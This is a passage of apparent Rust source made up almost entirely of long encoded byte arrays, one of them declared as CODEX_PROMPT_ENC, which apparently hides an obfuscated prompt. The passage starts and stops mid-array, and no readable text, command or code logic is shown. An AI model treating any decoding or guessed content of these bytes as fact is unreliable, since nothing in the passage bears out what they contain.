233, 198, 205, 220, 200, 194, 130, 157, 202, 222, 167, 239, 200, 201, 248, 164, 165, 179, 161, 166, 164, 148, 191, 172, 168, 170, 164, 168, 236, 217, 131, 176, 191, 176, 176, 249, 191, 186, 191, 181, 254, 190, 131, 149, 139, 140, 138, 197, 132, 158, 200, 129, 133, 156, 204, 136, 143, 156, 153, 157, 139, 211, 157, 129, 214, 148, 153, 151, 218, 153, 153, 221, 139, 145, 100, 110, 108, 102, 36, 100, 104, 99, 40, 97, 101, 124, 44, 107, 111, 125, 48, 120, 102, 96, 52, 112, 112, 113, 125, 122, 110, 104, 60, 111, 123, 126, 67, 73, 12, 3, 104, 74, 69, 70, 68, 5, 10, 89, 73, 91, 75, 93, 67, 88, 80, 95, 81, 21, 65, 88, 74, 82, 26, 72, 73, 94, 86, 31, 33, 50, 98, 38, 32, 44, 50, 46, 38, 46, 106, 45, 37, 33, 43, 60, 112, 48, 60, 55, 116, 39, 35, 57, 54, 48, 52, 60, 124, 41, 59, 44, 20, 18, 66, 10, 23, 69, 0, 14, 6, 12, 74, 31, 3, 77, 10, 0, 80, 23, 0, 22, 17, 25, 15, 89, 88, 59, 31, 29, 19, 15, 27, 95, 229, 249, 231, 224, 241, 241, 239, 233, 239, 169, 235, 229, 245, 173, 239, 236, 228, 248, 253, 253, 231, 181, 226, 255, 249, 237, 186, 250, 238, 248, 190, 247, 193, 211, 198, 131, 208, 202, 134, 213, 205, 223, 207, 217, 223, 200, 130, 143, 194, 212, 211, 208, 220, 149, 197, 223, 217, 203, 223, 223, 156, 216, 198, 203, 165, 179, 172, 162, 168, 229, 181, 190, 187, 189, 175, 166, 191, 225, 238, 160, 162, 241, 179, 161, 177, 245, 185, 163, 176, 188, 168, 172, 181, 174, 187, 255, 146, 136, 145, 136, 157, 197, 137, 149, 200, 141, 143, 152, 152, 159, 155, 140, 132, 152, 132, 150, 216, 213, 149, 159, 157, 154, 145, 219, 139, 148, 138, 151, 32, 117, 106, 102, 36, 112, 117, 98, 122, 41, 108, 98, 126, 126, 122, 33, 26, 27, 81, 124, 122, 115, 127, 101, 117, 112, 116, 124, 60, 116, 109, 63, 67, 73, 71, 66, 84, 30, 6, 70, 8, 68, 67, 88, 88, 76, 69, 74, 94, 17, 83, 80, 64, 92, 89, 89, 24, 80, 73, 27, 82, 82, 74, 31, 104, 50, 55, 32, 44, 101, 39, 52, 104, 37, 37, 56, 56, 109, 57, 32, 34, 58, 126, 115, 57, 48, 37, 36, 57, 62, 63, 40, 124, 36, 49, 42, 64, 2, 3, 13, 10, 10, 18, 71, 29, 7, 25, 14, 2, 9, 66, 79, 20, 20, 30, 22, 0, 16, 18, 87, 26, 11, 27, 21, 31, 21, 27, 12, 169, 175, 162, 197, 235, 247, 166, 243, 224, 230, 249, 238, 172, 238, 239, 252, 245, 226, 190, 179, 224, 244, 253, 242, 184, 237, 242, 254, 188, 254, 241, 241, 212, 196, 218, 215, 136, 133, 210, 207, 205, 137, 203, 200, 216, 196, 193, 193, 156, 145, 211, 221, 208, 149, 194, 223, 221, 153, 207, 200, 217, 207, 153, 204, 224, 168, 172, 176, 176, 183, 179, 164, 188, 160, 165, 165, 191, 237, 167, 161, 164, 190, 242, 178, 183, 182, 185, 162, 182, 173, 225, 251, 190, 164, 254, 187, 133, 135, 131, 150, 136, 145, 202, 199, 155, 136, 147, 203, 155, 133, 143, 155, 208, 136, 157, 134, 212, 133, 154, 150, 150, 217, 142, 148, 220, 153, 145, 223, 97, 111, 102, 35, 101, 118, 109, 39, 106, 108, 108, 100, 126, 104, 46, 107, 127, 120, 124, 116, 52, 124, 98, 57, 56, 76, 105, 126, 110, 110, 62, 124, 65, 79, 2, 76, 82, 64, 84, 85, 65, 77, 79, 11, 88, 69, 79, 91, 16, 85, 87, 85, 85, 64, 90, 67, 24, 219, 186, 175, 28, 84, 88, 31, 52, 41, 39, 58, 100, 32, 62, 55, 36, 32, 41, 34, 56, 33, 55, 111, 49, 34, 57, 115, 45, 58, 35, 119, 44, 54, 122, 58, 63, 41, 126, 50, 15, 19, 7, 67, 5, 16, 18, 8, 6, 6, 7, 4, 25, 30, 2, 22, 92, 81, 11, 28, 1, 85, 27, 22, 1, 89, 10, 9, 19, 30, 27, 26, 228, 161, 245, 234, 240, 237, 233, 242, 252, 169, 233, 228, 226, 235, 231, 253, 253, 240, 230, 250, 251, 251, 186, 183, 250, 236, 238, 187, 239, 233, 247, 243, 204, 129, 207, 202, 202, 193, 134, 213, 193, 218, 193, 216, 140, 204, 192, 203, 144, 210, 221, 221, 199, 208, 199, 194, 221, 215, 217, 222, 207, 147, 180, 181, 143, 175, 167, 227, 165, 181, 182, 181, 167, 191, 171, 167, 236, 164, 189, 239, 190, 190, 166, 243, 181, 245, 180, 187, 185, 183, 177, 251, 191, 181, 187, 188, 139, 207, 194, 162, 148, 149, 148, 136, 158, 128, 132, 140, 204, 158, 129, 130, 149, 133, 154, 154, 154, 146, 214, 152, 150, 154, 159, 219, 212, 152, 208, 152, 46, 33, 99, 35, 99, 108, 114, 39, 120, 124, 121, 99, 37, 45, 106, 96, 117, 98, 50, 125, 123, 97, 54, 118, 104, 105, 104, 116, 106, 120, 62, 118, 84, 1, 75, 77, 4, 64, 80, 66, 90, 80, 10, 71, 77, 89, 75, 93, 16, 66, 91, 71, 65, 84, 66, 94, 87, 87, 20, 27, 105, 83, 82, 90, 51, 50, 98, 55, 44, 32, 102, 50, 59, 44, 56, 107, 36, 44, 61, 111, 49, 36, 38, 59, 59, 39, 63, 45, 61, 61, 122, 47, 52, 56, 126, 62, 3, 21, 11, 12, 10, 69, 15, 9, 72, 8, 14, 29, 13, 3, 13, 10, 92, 81, 17, 28, 26, 19, 31, 5, 21, 89, 13, 18, 8, 21, 94, 11, 232, 228, 162, 246, 247, 224, 244, 169, 130, 131, 194, 238, 254, 232, 174, 238, 226, 244, 178, 224, 251, 248, 243, 183, 253, 225, 251, 246, 236, 241, 251, 236, 128, 206, 196, 131, 214, 204, 213, 204, 209, 137, 203, 200, 216, 196, 193, 193, 195, 145, 198, 219, 213, 193, 150, 192, 217, 203, 200, 218, 210, 201, 158, 202, 179, 164, 176, 227, 167, 170, 168, 161, 161, 187, 167, 170, 184, 164, 161, 161, 234, 219, 255, 243, 144, 176, 165, 163, 170, 172, 185, 175, 181, 171, 187, 255, 143, 145, 135, 145, 133, 145, 143, 136, 134, 154, 202, 152, 153, 142, 134, 207, 145, 130, 210, 129, 145, 152, 153, 129, 145, 151, 157, 219, 154, 148, 146, 154, 115, 33, 109, 113, 36, 103, 116, 102, 102, 106, 98, 110, 127, 33, 46, 107, 98, 126, 98, 99, 125, 123, 113, 55, 124, 120, 110, 122, 126, 124, 109, 122, 0, 85, 67, 65, 72, 64, 85, 11, 8, 66, 67, 71, 64, 68, 64, 72, 16, 65, 64, 92, 87, 80, 69, 68, 93, 74, 22, 27, 92, 79, 83, 31, 109, 51, 36, 35, 104, 101, 34, 46, 59, 42, 43, 57, 40, 36, 32, 40, 112, 36, 60, 48, 59, 56, 59, 62, 44, 45, 63, 63, 124, 42, 49, 45, 11, 107, 79, 67, 45, 23, 20, 2, 30, 12, 24, 24, 5, 15, 2, 10, 80, 30, 2, 22, 6, 20, 2, 30, 23, 23, 9, 91, 15, 8, 29, 23, 160, 224, 241, 163, 226, 234, 244, 228, 237, 164, 250, 254, 255, 229, 235, 252, 176, 185, 251, 253, 247, 249, 227, 243, 241, 247, 253, 187, 243, 235, 251, 237, 215, 211, 203, 215, 205, 203, 193, 135, 218, 204, 199, 196, 216, 200, 142, 199, 217, 194, 198, 220, 198, 204, 159, 155, 152, 217, 221, 210, 200, 157, 204, 218, 179, 164, 182, 227, 233, 232, 174, 166, 186, 173, 170, 231, 236, 172, 163, 170, 190, 181, 187, 189, 179, 245, 181, 184, 181, 180, 179, 175, 175, 253, 191, 179, 146, 132, 131, 135, 157, 197, 150, 146, 138, 133, 131, 152, 132, 136, 138, 195, 208, 131, 151, 158, 155, 131, 159, 153, 159, 217, 149, 137, 220, 153, 145, 136, 110, 102, 112, 98, 96, 108, 104, 96, 40, 109, 111, 123, 105, 99, 106, 106, 126, 114, 123, 118, 103, 57, 54, 116, 112, 120, 116, 124, 117, 115, 121, 63, 99, 104, 13, 96, 96, 5, 86, 78, 88, 76, 70, 66, 66, 72, 93, 37, 29, 17, 115, 80, 64, 92, 89, 89, 75, 25, 85, 79, 84, 88, 76, 76, 96, 34, 35, 45, 100, 54, 35, 34, 100, 105, 37, 57, 108, 57, 38, 46, 36, 113, 49, 59, 53, 59, 49, 50, 120, 42, 50, 58, 46, 56, 58, 127, 19, 21, 3, 23, 1, 95, 70, 23, 29, 26, 2, 2, 2, 10, 78, 12, 31, 21, 23, 72, 84, 26, 6, 18, 22, 16, 20, 28, 80, 93, 29, 19, 239, 242, 235, 237, 227, 169, 166, 232, 250, 169, 233, 228, 225, 224, 235, 225, 228, 248, 252, 244, 180, 250, 248, 183, 200, 203, 233, 187, 253, 243, 250, 191, 201, 210, 209, 214, 193, 214, 157, 135, 219, 204, 196, 207, 197, 195, 201, 143, 221, 212, 193, 192, 213, 210, 211, 196, 152, 145, 233, 215, 221, 222, 213, 147, 224, 164, 175, 162, 173, 169, 234, 231, 143, 160, 190, 131, 185, 175, 231, 244, 240, 161, 189, 160, 160, 188, 184, 176, 248, 173, 181, 251, 185, 165, 170, 186, 146, 143, 131, 143, 196, 150, 131, 149, 158, 128, 137, 142, 159, 214, 206, 140, 152, 144, 156, 148, 157, 155, 145, 215, 139, 145, 155, 137, 153, 153, 222, 150, 110, 103, 112, 98, 119, 113, 116, 114, 107, 125, 127, 121, 105, 45, 97, 125, 48, 97, 119, 97, 121, 124, 101, 100, 113, 118, 116, 104, 22, 23, 87, 121, 0, 88, 77, 86, 4, 67, 79, 73, 76, 9, 95, 69, 73, 85, 94, 74, 83, 69, 87, 87, 20, 70, 66, 86, 76, 92, 26, 217, 188, 169, 30, 74, 46, 39, 35, 46, 45, 41, 47, 38, 58, 105, 44, 34, 32, 40, 61, 99, 112, 51, 32, 50, 58, 54, 62, 50, 43, 117, 122, 52, 46, 125, 61, 48, 14, 7, 11, 4, 17, 23, 7, 19, 1, 6, 4, 75, 142, 237, 250, 79, 25, 31, 4, 22, 7, 1, 31, 16, 25, 13, 31, 91, 30, 24, 24, 16, 242, 228, 162, 231, 225, 233, 227, 243, 225, 231, 237, 171, 227, 255, 174, 224, 230, 244, 224, 228, 230, 252, 226, 254, 246, 254, 161, 187, 245, 233, 190, 242, 193, 216, 130, 193, 193, 133, 210, 207, 205, 137, 223, 216, 201, 223, 137, 220, 144, 216, 220, 158, 196, 199, 217, 208, 202, 220, 201, 200, 156, 202, 209, 205, 171, 239, 200, 255, 235, 164, 165, 179, 161, 166, 164, 148, 191, 172, 168, 170, 164, 168, 236, 217, 222, 233, 162, 184, 183, 181, 133, 184, 189, 177, 178, 182, 142, 134, 220, 233, 201, 197, 179, 148, 141, 201, 153, 155, 137, 142, 135, 142, 156, 152, 136, 150, 144, 213, 130, 152, 151, 149, 137, 219, 149, 147, 141, 139, 101, 96, 102, 35, 107, 99, 38, 101, 105, 122, 98, 43, 111, 98, 99, 98, 113, 127, 118, 96, 52, 98, 126, 114, 118, 57, 106, 116, 111, 110, 119, 125, 76, 68, 14, 3, 69, 86, 6, 83, 64, 64, 89, 11, 92, 95, 65, 89, 89, 85, 87, 64, 20, 84, 22, 85, 93, 77, 78, 94, 78, 29, 75, 76, 37, 51, 98, 38, 60, 53, 35, 53, 33, 44, 36, 40, 41, 99, 110, 9, 63, 35, 114, 53, 61, 57, 51, 119, 55, 41, 63, 41, 61, 41, 55, 48, 14, 18, 78, 67, 20, 23, 3, 1, 13, 27, 74, 15, 9, 9, 7, 12, 17, 5, 23, 23, 84, 19, 31, 27, 29, 89, 14, 20, 19, 17, 13, 91, 251, 164, 175, 163, 237, 227, 166, 243, 231, 230, 230, 248, 162, 239, 247, 208, 251, 248, 252, 247, 186, 231, 243, 246, 252, 185, 191, 230, 188, 181, 251, 177, 199, 143, 142, 131, 196, 129, 221, 220, 136, 221, 197, 196, 192, 222, 128, 205, 201, 238, 217, 218, 218, 209, 152, 197, 221, 216, 222, 155, 193, 192, 222, 159, 166, 174, 176, 227, 182, 160, 167, 163, 161, 167, 173, 235, 170, 164, 162, 170, 163, 241, 187, 189, 167, 161, 179, 182, 188, 249, 181, 189, 252, 190, 191, 171, 207, 137, 135, 130, 128, 202, 146, 134, 129, 133, 206, 144, 201, 192, 206, 134, 150, 209, 134, 156, 155, 153, 133, 217, 154, 128, 165, 144, 149, 147, 154, 209, 101, 101, 107, 119, 36, 32, 123, 43, 40, 105, 46, 112, 119, 45, 122, 96, 127, 125, 97, 61, 118, 108, 73, 124, 113, 119, 126, 53, 121, 121, 119, 107, 0, 92, 95, 67, 4, 67, 73, 85, 8, 76, 78, 66, 88, 68, 64, 72, 16, 80, 92, 87, 20, 86, 68, 82, 89, 77, 83, 85, 91, 29, 88, 86, 44, 36, 49, 99, 45, 43, 53, 51, 45, 40, 46, 107, 35, 43, 110, 60, 53, 53, 125, 50, 35, 62, 114, 44, 125, 116, 122, 62, 50, 57, 55, 57, 64, 68, 31, 74, 64, 30, 67, 74, 72, 12, 6, 2, 10, 77, 26, 0, 31, 29, 1, 93, 22, 12, 41, 28, 17, 23, 30, 85, 25, 25, 23, 11, 160, 164, 255, 163, 172, 224, 168, 224, 166, 165, 170, 235, 168, 246, 245, 175, 228, 254, 253, 255, 231, 187, 244, 238, 199, 242, 243, 245, 248, 179, 251, 251, 201, 213, 130, 222, 217, 197, 134, 193, 199, 219, 138, 206, 200, 196, 218, 198, 222, 214, 146, 210, 218, 209, 150, 212, 202, 220, 219, 207, 213, 211, 217, 159, 166, 168, 174, 166, 183, 229, 175, 169, 187, 189, 175, 170, 168, 237, 161, 169, 240, 162, 183, 183, 251, 180, 161, 188, 241, 253, 161, 254, 241, 253, 187, 177, 132, 136, 132, 195, 193, 152, 200, 199, 186, 140, 153, 142, 158, 155, 139, 207, 146, 144, 129, 155, 212, 129, 153, 152, 148, 138, 218, 158, 132, 158, 146, 138, 115, 104, 116, 102, 104, 124, 38, 97, 103, 123, 42, 106, 111, 121, 123, 110, 124, 49, 97, 106, 103, 97, 115, 122, 56, 122, 117, 118, 113, 124, 112, 123, 83, 1, 67, 77, 64, 5, 82, 66, 90, 68, 67, 69, 77, 65, 14, 64, 64, 84, 64, 82, 64, 92, 89, 89, 75, 25, 78, 83, 93, 73, 30, 77, 37, 48, 55, 42, 54, 32, 102, 52, 32, 44, 38, 39, 108, 40, 54, 42, 51, 36, 38, 58, 59, 59, 120, 119, 22, 28, 12, 30, 14, 125, 43, 44, 5, 65, 0, 2, 23, 13, 70, 2, 11, 1, 5, 75, 3, 31, 78, 0, 4, 25, 23, 1, 84, 22, 25, 26, 21, 24, 20, 31, 81, 17, 23, 17, 229, 161, 246, 236, 235, 233, 245, 167, 252, 230, 170, 232, 227, 224, 227, 250, 254, 248, 241, 242, 224, 240, 182, 227, 240, 246, 239, 252, 244, 233, 237, 179, 128, 196, 218, 211, 200, 196, 200, 198, 220, 192, 197, 197, 223, 129, 142, 192, 194, 145, 219, 221, 199, 193, 196, 194, 219, 205, 211, 212, 210, 206, 158, 203, 175, 225, 182, 171, 161, 229, 179, 180, 173, 187, 228, 235, 131, 184, 186, 191, 165, 165, 242, 178, 184, 185, 246, 180, 183, 180, 183, 174, 178, 180, 189, 190, 148, 136, 141, 141, 196, 129, 143, 149, 141, 138, 158, 135, 149, 205, 135, 129, 208, 136, 157, 134, 134, 213, 132, 146, 139, 137, 149, 149, 143, 152, 222, 139, 101, 121, 118, 35, 109, 107, 117, 115, 109, 104, 110, 37, 6, 49, 33, 123, 127, 126, 126, 76, 119, 116, 122, 123, 113, 119, 125, 37, 22, 23, 58, 100, 5, 12, 2, 74, 66, 5, 82, 72, 71, 69, 89, 5, 78, 84, 113, 68, 89, 95, 86, 29, 89, 90, 88, 94, 76, 86, 72, 27, 25, 64, 52, 53, 124, 35, 35, 32, 47, 34, 52, 40, 61, 39, 46, 20, 56, 44, 61, 36, 35, 111, 88, 21, 59, 39, 118, 32, 57, 45, 57, 51, 124, 45, 44, 48, 3, 4, 17, 16, 1, 22, 74, 71, 24, 6, 6, 7, 5, 3, 9, 67, 80, 16, 28, 23, 84, 26, 24, 16, 23, 16, 20, 28, 92, 18, 28, 12, 229, 243, 244, 226, 240, 236, 233, 233, 168, 161, 201, 194, 172, 254, 250, 238, 228, 228, 225, 191, 180, 249, 249, 240, 184, 237, 251, 242, 240, 244, 240, 248, 140, 129, 227, 243, 237, 133, 214, 200, 196, 197, 195, 197, 203, 132, 148, 165, 229, 194, 215, 147, 192, 221, 211, 151, 216, 157, 193, 192, 156, 201, 209, 208, 172, 178, 236, 161, 189, 154, 173, 174, 166, 173, 228, 166, 163, 163, 167, 187, 191, 163, 242, 174, 169, 181, 246, 163, 183, 182, 182, 251, 62, 93, 74, 255, 137, 149, 194, 144, 144, 151, 131, 134, 133, 154, 202, 142, 141, 142, 134, 207, 131, 133, 150, 156, 129, 129, 214, 155, 145, 151, 159, 219, 158, 156, 157, 148, 32, 96, 113, 35, 101, 37, 101, 111, 105, 125, 42, 101, 99, 121, 103, 105, 121, 114, 115, 103, 125, 122, 120, 57, 18, 37, 53, 121, 125, 126, 117, 120, 82, 78, 87, 77, 64, 122, 82, 70, 91, 66, 89, 21, 38, 9, 85, 10, 29, 17, 87, 93, 80, 92, 80, 23, 29, 68, 48, 49, 0, 82, 75, 75, 48, 52, 54, 28, 33, 35, 32, 46, 43, 32, 47, 37, 47, 52, 112, 69, 125, 113, 5, 33, 61, 33, 51, 119, 52, 48, 49, 62, 124, 60, 48, 127, 5, 25, 1, 6, 8, 9, 3, 9, 28, 73, 30, 14, 15, 5, 0, 6, 19, 16, 30, 83, 22, 25, 25, 16, 88, 9, 21, 8, 8, 93, 156, 255, 20, 161, 242, 241, 225, 230, 239, 244, 237, 165, 170, 252, 233, 225, 226, 162, 227, 229, 224, 230, 247, 225, 227, 229, 253, 253, 182, 187, 253, 243, 250, 191, 195, 205, 199, 194, 214, 137, 134, 206, 198, 137, 201, 196, 193, 221, 194, 202, 196, 212, 146, 192, 209, 219, 194, 210, 214, 218, 223, 200, 146, 157, 243, 208, 179, 181, 226, 177, 161, 182, 182, 168, 166, 186, 175, 184, 236, 190, 166, 160, 165, 189, 182, 243, 182, 176, 246, 180, 183, 183, 185, 178, 175, 184, 254, 190, 142, 133, 194, 151, 139, 197, 146, 143, 141, 201, 154, 132, 133, 131, 154, 195, 208, 147, 135, 135, 212, 129, 158, 146, 216, 136, 143, 154, 144, 148, 138, 134, 32, 110, 100, 35, 116, 119, 105, 116, 109, 41, 121, 99, 99, 120, 98, 107, 48, 115, 119, 51, 124, 124, 113, 127, 54, 19, 55, 59, 79, 124, 115, 122, 0, 82, 86, 66, 74, 65, 71, 85, 76, 90, 10, 77, 67, 95, 14, 76, 95, 92, 95, 90, 64, 21, 87, 89, 92, 25, 106, 105, 28, 89, 91, 76, 35, 51, 43, 51, 48, 44, 41, 41, 59, 115, 106, 40, 35, 32, 62, 35, 53, 37, 55, 115, 39, 48, 56, 35, 61, 55, 57, 62, 47, 113, 126, 56, 15, 14, 6, 67, 3, 23, 7, 10, 5, 8, 24, 71, 76, 12, 0, 11, 80, 30, 28, 31, 13, 85, 4, 18, 20, 28, 12, 26, 18, 9, 94, 27, 229, 245, 227, 234, 232, 171, 140, 170, 168, 217, 248, 238, 234, 232, 252, 175, 227, 248, 255, 227, 248, 240, 186, 183, 249, 250, 249, 254, 239, 238, 247, 253, 204, 196, 130, 207, 197, 203, 193, 210, 201, 206, 207, 139, 195, 219, 203, 221, 144, 213, 215, 221, 199, 208, 150, 195, 221, 218, 210, 213, 213, 222, 223, 211, 224, 171, 163, 177, 163, 170, 168, 233, 232, 140, 178, 187, 160, 172, 167, 161, 240, 166, 186, 178, 160, 245, 181, 191, 185, 183, 189, 190, 184, 253, 191, 177, 132, 193, 149, 139, 157, 197, 143, 137, 200, 153, 134, 138, 133, 131, 206, 131, 145, 159, 149, 134, 149, 146, 147, 215, 138, 152, 142, 147, 153, 143, 222, 139, 104, 96, 108, 35, 104, 108, 117, 115, 97, 103, 109, 43, 101, 105, 107, 97, 100, 120, 116, 122, 113, 103, 101, 57, 56, 74, 110, 122, 101, 61, 120, 112, 67, 84, 81, 70, 64, 31, 6, 70, 94, 70, 67, 79, 12, 75, 71, 67, 92, 84, 64, 31, 20, 71, 83, 71, 93, 77, 83, 79, 85, 82, 80, 19, 96, 46, 52, 38, 54, 104, 50, 47, 45, 100, 62, 36, 60, 109, 42, 42, 36, 48, 59, 63, 120, 117, 55, 57, 60, 121, 46, 58, 50, 58, 59, 49, 20, 18, 66, 23, 12, 0, 70, 18, 27, 12, 24, 75, 8, 4, 10, 79, 30, 30, 6, 83, 21, 6, 29, 87, 30, 22, 8, 85, 118, 80, 94, 52, 229, 228, 242, 163, 226, 236, 232, 230, 228, 169, 248, 238, 255, 253, 225, 225, 227, 244, 225, 179, 228, 231, 249, 231, 247, 235, 238, 242, 243, 243, 255, 243, 128, 213, 205, 131, 208, 196, 213, 204, 136, 202, 197, 198, 220, 193, 203, 215, 217, 197, 203, 157, 190, 137, 153, 216, 205, 205, 202, 206, 200, 226, 219, 217, 166, 168, 161, 170, 161, 171, 165, 190, 246, 195, 192, 247, 170, 162, 188, 162, 177, 165, 166, 186, 186, 178, 232, 221, 129, 182, 175, 169, 252, 169, 187, 167, 148, 193, 141, 150, 144, 149, 147, 147, 200, 128, 153, 203, 158, 136, 128, 139, 149, 131, 151, 151, 212, 148, 133, 215, 191, 144, 142, 179, 137, 159, 211, 153, 108, 96, 116, 108, 118, 96, 98, 39, 101, 104, 120, 96, 104, 98, 121, 97, 48, 57, 81, 124, 121, 120, 121, 121, 85, 120, 104, 112, 53, 51, 62, 74, 83, 68, 2, 78, 69, 87, 77, 67, 71, 94, 68, 11, 77, 78, 90, 70, 70, 84, 94, 74, 20, 66, 94, 82, 86, 25, 83, 79, 28, 92, 87, 91, 51, 97, 54, 43, 33, 101, 52, 34, 41, 45, 47, 57, 118, 109, 44, 58, 60, 61, 55, 39, 116, 57, 63, 36, 44, 42, 122, 61, 51, 47, 126, 47, 1, 19, 3, 15, 8, 0, 10, 71, 1, 29, 15, 6, 31, 65, 78, 69, 90, 19, 29, 31, 16, 95, 92, 87, 30, 22, 8, 91, 25, 16, 14, 23, 225, 242, 235, 240, 168, 165, 230, 238, 230, 229, 227, 229, 233, 173, 237, 224, 244, 244, 242, 179, 242, 250, 228, 183, 241, 253, 255, 245, 232, 244, 248, 246, 197, 211, 209, 140, 212, 196, 210, 207, 219, 134, 201, 196, 193, 192, 207, 193, 212, 194, 158, 147, 213, 219, 210, 151, 204, 216, 216, 215, 217, 206, 158, 217, 175, 179, 226, 176, 172, 170, 180, 179, 232, 172, 164, 190, 161, 168, 188, 174, 178, 189, 183, 243, 178, 180, 181, 163, 171, 249, 242, 189, 181, 177, 187, 240, 140, 136, 140, 134, 203, 150, 146, 134, 156, 156, 153, 199, 204, 143, 139, 137, 159, 131, 151, 220, 149, 147, 130, 146, 138, 213, 218, 138, 137, 156, 144, 139, 105, 117, 99, 119, 109, 115, 99, 39, 108, 104, 126, 106, 37, 35, 4, 51, 63, 119, 125, 97, 121, 116, 98, 99, 113, 119, 125, 37, 22, 23, 58, 100, 5, 12, 2, 74, 66, 5, 72, 72, 92, 9, 67, 88, 115, 67, 65, 65, 111, 88, 92, 71, 81, 71, 87, 84, 76, 80, 76, 94, 28, 24, 67, 53, 74, 125, 55, 48, 33, 55, 25, 32, 61, 32, 46, 46, 114, 71, 10, 32, 51, 36, 63, 54, 58, 33, 55, 35, 49, 54, 52, 123, 61, 63, 49, 42, 20, 65, 22, 11, 1, 69, 45, 14, 15, 0, 74, 63, 57, 36, 78, 141, 240, 229, 82, 26, 26, 22, 26, 2, 28, 16, 20, 28, 92, 30, 17, 17, 230, 232, 229, 246, 246, 228, 242, 238, 231, 231, 166, 171, 231, 232, 247, 237, 255, 240, 224, 247, 180, 230, 254, 248, 234, 237, 249, 238, 232, 238, 178, 191, 237, 226, 242, 131, 215, 192, 212, 209, 205, 219, 217, 135, 140, 222, 197, 198, 220, 221, 193, 159, 148, 193, 222, 210, 213, 208, 212, 220, 144, 157, 206, 211, 181, 166, 171, 173, 183, 233, 230, 166, 166, 173, 234, 166, 163, 191, 171, 239, 50, 81, 70, 243, 189, 166, 246, 164, 172, 182, 168, 190, 184, 253, 191, 172, 192, 129, 204, 142, 128, 133, 198, 129, 129, 133, 143, 152, 204, 132, 128, 207, 144, 143, 221, 221, 159, 156, 145, 158, 215, 157, 149, 152, 143, 210, 139, 140, 101, 115, 47, 100, 113, 108, 98, 98, 39, 105, 36, 43, 91, 101, 107, 97, 48, 100, 97, 118, 102, 102, 54, 118, 107, 114, 58, 122, 126, 114, 107, 107, 0, 71, 71, 66, 80, 80, 84, 66, 91, 9, 69, 89, 12, 69, 65, 88, 16, 69, 93, 19, 65, 70, 83, 23, 76, 81, 95, 27, 104, 104, 119, 19, 96, 51, 39, 34, 32, 101, 50, 47, 45, 105, 56, 46, 32, 40, 56, 46, 62, 37, 114, 53, 61, 57, 51, 119, 62, 43, 53, 54, 124, 41, 54, 62, 20, 65, 6, 10, 22, 0, 5, 19, 7, 27, 19, 69, 102, 81, 65, 26, 3, 20, 0, 44, 19, 0, 31, 19, 29, 71, 112, 95, 7, 88, 83, 95, 229, 239, 230, 234, 226, 165, 163, 250];
 
 #[rustfmt::skip]
 pub(crate) const CODEX_PROMPT_ENC: &[u8] = &[34, 19, 8, 94, 30, 242, 228, 162, 226, 164, 230, 233, 227, 225, 231, 237, 171, 237, 234, 235, 225, 228, 177, 224, 230, 250, 251, 255, 249, 255, 185, 243, 245, 188, 233, 246, 250, 128, 234, 203, 196, 205, 133, 229, 235, 225, 133, 138, 202, 140, 217, 203, 221, 221, 216, 220, 210, 216, 152, 212, 214, 203, 220, 222, 155, 223, 210, 218, 214, 174, 166, 226, 162, 183, 182, 175, 180, 188, 168, 164, 191, 226, 237, 151, 160, 165, 241, 179, 161, 177, 245, 179, 175, 168, 188, 185, 175, 185, 185, 254, 171, 143, 193, 128, 134, 196, 149, 148, 130, 139, 128, 153, 142, 192, 205, 157, 142, 150, 148, 222, 211, 149, 155, 146, 215, 144, 156, 150, 139, 154, 136, 146, 209, 10, 11, 70, 108, 36, 107, 105, 115, 40, 123, 111, 123, 126, 98, 106, 122, 115, 116, 62, 51, 103, 96, 123, 122, 121, 107, 115, 97, 121, 49, 62, 111, 65, 83, 67, 83, 76, 87, 71, 84, 77, 5, 10, 68, 94, 13, 65, 91, 88, 84, 64, 68, 93, 70, 83, 23, 74, 92, 76, 94, 93, 81, 30, 75, 40, 36, 98, 32, 43, 43, 50, 34, 38, 61, 57, 107, 35, 43, 110, 59, 56, 56, 33, 115, 39, 44, 37, 35, 61, 52, 122, 43, 46, 50, 51, 47, 20, 65, 22, 12, 68, 17, 14, 2, 72, 28, 25, 14, 30, 65, 78, 10, 6, 20, 28, 83, 29, 19, 86, 22, 11, 18, 31, 31, 92, 25, 23, 13, 229, 226, 246, 239, 253, 171, 166, 206, 238, 169, 254, 227, 233, 173, 251, 252, 245, 227, 178, 242, 231, 254, 229, 183, 249, 251, 245, 238, 232, 189, 231, 240, 213, 211, 130, 202, 202, 214, 210, 213, 221, 202, 222, 194, 195, 195, 221, 131, 144, 195, 215, 192, 196, 218, 216, 211, 152, 205, 210, 218, 200, 157, 199, 208, 181, 225, 163, 177, 161, 229, 167, 231, 171, 166, 174, 162, 162, 170, 238, 174, 163, 162, 187, 160, 160, 180, 184, 163, 248, 184, 180, 191, 252, 175, 187, 187, 137, 147, 135, 128, 144, 197, 146, 136, 200, 157, 130, 142, 204, 153, 143, 156, 155, 209, 147, 135, 212, 157, 151, 153, 156, 215, 240, 241, 165, 146, 139, 141, 32, 98, 99, 115, 101, 103, 111, 107, 97, 125, 99, 110, 127, 55, 4, 5, 61, 49, 64, 118, 119, 112, 127, 97, 125, 57, 111, 104, 121, 111, 62, 111, 82, 78, 79, 83, 80, 86, 6, 70, 70, 77, 10, 68, 88, 69, 75, 93, 16, 82, 93, 93, 64, 80, 78, 67, 24, 73, 72, 84, 74, 84, 90, 90, 36, 97, 32, 58, 100, 49, 46, 34, 104, 33, 43, 57, 34, 40, 61, 60, 124, 113, 33, 38, 55, 61, 118, 54, 43, 121, 60, 50, 48, 56, 45, 127, 9, 15, 66, 23, 12, 0, 70, 16, 7, 27, 1, 24, 28, 12, 13, 10, 94, 123, 95, 83, 55, 26, 27, 26, 13, 23, 19, 24, 29, 9, 27, 95, 247, 232, 246, 235, 164, 241, 238, 226, 168, 252, 249, 238, 254, 173, 236, 246, 176, 226, 230, 225, 241, 244, 251, 254, 246, 254, 186, 239, 244, 244, 240, 244, 201, 207, 197, 131, 130, 133, 212, 194, 219, 217, 197, 197, 223, 200, 221, 131, 144, 208, 220, 215, 148, 215, 207, 151, 213, 216, 209, 210, 210, 218, 158, 153, 224, 180, 178, 167, 165, 177, 175, 169, 175, 233, 186, 167, 173, 163, 189, 225, 218, 252, 242, 150, 185, 188, 162, 247, 190, 172, 180, 184, 168, 180, 177, 177, 192, 130, 131, 143, 136, 150, 198, 147, 135, 201, 152, 158, 130, 205, 154, 138, 130, 156, 155, 157, 149, 153, 214, 148, 151, 148, 151, 154, 146, 153, 141, 223, 97, 111, 102, 35, 101, 117, 118, 107, 113, 41, 122, 106, 120, 110, 102, 106, 99, 63, 50, 87, 113, 101, 115, 121, 124, 112, 116, 124, 60, 114, 112, 63, 72, 